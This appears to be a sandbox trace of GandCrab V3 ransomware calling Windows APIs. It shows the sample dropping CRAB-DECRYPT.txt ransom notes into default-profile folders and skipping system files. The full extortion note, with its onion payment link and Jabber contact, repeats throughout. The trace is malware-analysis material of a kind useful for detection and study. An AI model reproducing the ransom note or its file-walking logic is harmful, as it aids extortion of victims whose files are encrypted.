	[0136.874] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.874] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.874] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.874] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.874] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.874] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.874] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.874] lstrcmpiW (lpString1="C:\\Users\\Default\\Recent\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.874] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.874] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.874] lstrcmpiW (lpString1="C:\\Users\\Default\\Recent\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.874] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.874] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\Recent\\\\CRAB-DECRYPT.txt") returned 41
	[0136.875] CreateFileW (lpFileName="C:\\Users\\Default\\Recent\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\recent\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.875] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.875] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0136.876] CloseHandle (hObject=0x3d4) returned 1
	[0136.876] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.876] lstrlenW (lpString="C:\\Users\\Default\\Recent\\") returned 24
	[0136.876] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\Recent\\*") returned="C:\\Users\\Default\\Recent\\*"
	[0136.877] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xffffffff
	[0136.877] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.877] lstrcmpW (lpString1="Saved Games", lpString2=".") returned 1
	[0136.877] lstrcmpW (lpString1="Saved Games", lpString2="..") returned 1
	[0136.877] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games"
	[0136.877] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Saved Games\\") returned="C:\\Users\\Default\\Saved Games\\"
	[0136.877] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.877] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.877] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.877] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.877] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.877] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.877] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.878] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.878] lstrcmpiW (lpString1="C:\\Users\\Default\\Saved Games\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.878] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.878] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.878] lstrcmpiW (lpString1="C:\\Users\\Default\\Saved Games\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.878] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.878] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\Saved Games\\\\CRAB-DECRYPT.txt") returned 46
	[0136.878] CreateFileW (lpFileName="C:\\Users\\Default\\Saved Games\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\saved games\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.879] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.879] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0136.880] CloseHandle (hObject=0x3d4) returned 1
	[0136.880] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.880] lstrlenW (lpString="C:\\Users\\Default\\Saved Games\\") returned 29
	[0136.880] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\Saved Games\\*") returned="C:\\Users\\Default\\Saved Games\\*"
	[0136.880] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x3247f70
	[0136.880] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0136.880] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.880] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0136.880] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0136.880] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0136.881] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0136.881] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0136.881] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\Default\\Saved Games\\CRAB-DECRYPT.txt") returned="C:\\Users\\Default\\Saved Games\\CRAB-DECRYPT.txt"
	[0136.881] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.881] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\Saved Games\\CRAB-DECRYPT.txt") returned 45
	[0136.881] lstrlenW (lpString="C:\\Users\\Default\\Saved Games\\CRAB-DECRYPT.txt") returned 45
	[0136.881] lstrlenW (lpString=".txt") returned 4
	[0136.881] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.881] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0136.881] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.882] lstrlenW (lpString="C:\\Users\\Default\\Saved Games\\CRAB-DECRYPT.txt") returned 45
	[0136.882] lstrlenW (lpString="C:\\Users\\Default\\Saved Games\\CRAB-DECRYPT.txt") returned 45
	[0136.882] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0136.882] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0136.882] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0136.882] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0136.882] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0136.882] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0136.882] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0136.882] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0136.882] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0136.882] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.882] FindNextFileW (in: hFindFile=0x3247f70, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0136.882] FindClose (in: hFindFile=0x3247f70 | out: hFindFile=0x3247f70) returned 1
	[0136.882] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.882] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1
	[0136.882] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1
	[0136.882] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo"
	[0136.882] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo", lpString2="\\" | out: lpString1="C:\\Users\\Default\\SendTo\\") returned="C:\\Users\\Default\\SendTo\\"
	[0136.883] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.883] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.883] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.883] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.883] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.883] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.883] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.883] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.883] lstrcmpiW (lpString1="C:\\Users\\Default\\SendTo\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.883] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.883] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.883] lstrcmpiW (lpString1="C:\\Users\\Default\\SendTo\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.883] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.884] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\SendTo\\\\CRAB-DECRYPT.txt") returned 41
	[0136.884] CreateFileW (lpFileName="C:\\Users\\Default\\SendTo\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\sendto\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.913] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.913] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0136.914] CloseHandle (hObject=0x3d4) returned 1
	[0136.914] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.914] lstrlenW (lpString="C:\\Users\\Default\\SendTo\\") returned 24
	[0136.914] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\SendTo\\*") returned="C:\\Users\\Default\\SendTo\\*"
	[0136.914] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xffffffff
	[0136.915] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.915] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1
	[0136.915] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1
	[0136.915] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu"
	[0136.915] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Start Menu\\") returned="C:\\Users\\Default\\Start Menu\\"
	[0136.915] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.915] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.915] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.916] lstrcmpiW (lpString1="C:\\Users\\Default\\Start Menu\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.916] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.916] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.916] lstrcmpiW (lpString1="C:\\Users\\Default\\Start Menu\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.916] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.916] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\Start Menu\\\\CRAB-DECRYPT.txt") returned 45
	[0136.916] CreateFileW (lpFileName="C:\\Users\\Default\\Start Menu\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\start menu\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.917] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0136.917] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0136.918] CloseHandle (hObject=0x3d4) returned 1
	[0136.918] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.918] lstrlenW (lpString="C:\\Users\\Default\\Start Menu\\") returned 28
	[0136.918] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu\\", lpString2="*" | out: lpString1="C:\\Users\\Default\\Start Menu\\*") returned="C:\\Users\\Default\\Start Menu\\*"
	[0136.918] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xffffffff
	[0136.918] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.918] lstrcmpW (lpString1="Templates", lpString2=".") returned 1
	[0136.918] lstrcmpW (lpString1="Templates", lpString2="..") returned 1
	[0136.919] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates"
	[0136.919] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Templates\\") returned="C:\\Users\\Default\\Templates\\"
	[0136.919] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.919] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0136.919] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0136.919] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0136.919] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0136.919] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.919] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0136.919] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0136.919] lstrcmpiW (lpString1="C:\\Users\\Default\\Templates\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0136.919] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0136.919] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0136.919] lstrcmpiW (lpString1="C:\\Users\\Default\\Templates\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0136.919] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.920] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\Default\\Templates\\\\CRAB-DECRYPT.txt") returned 44
	[0136.920] CreateFileW (lpFileName="C:\\Users\\Default\\Templates\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\default\\templates\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.921] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot 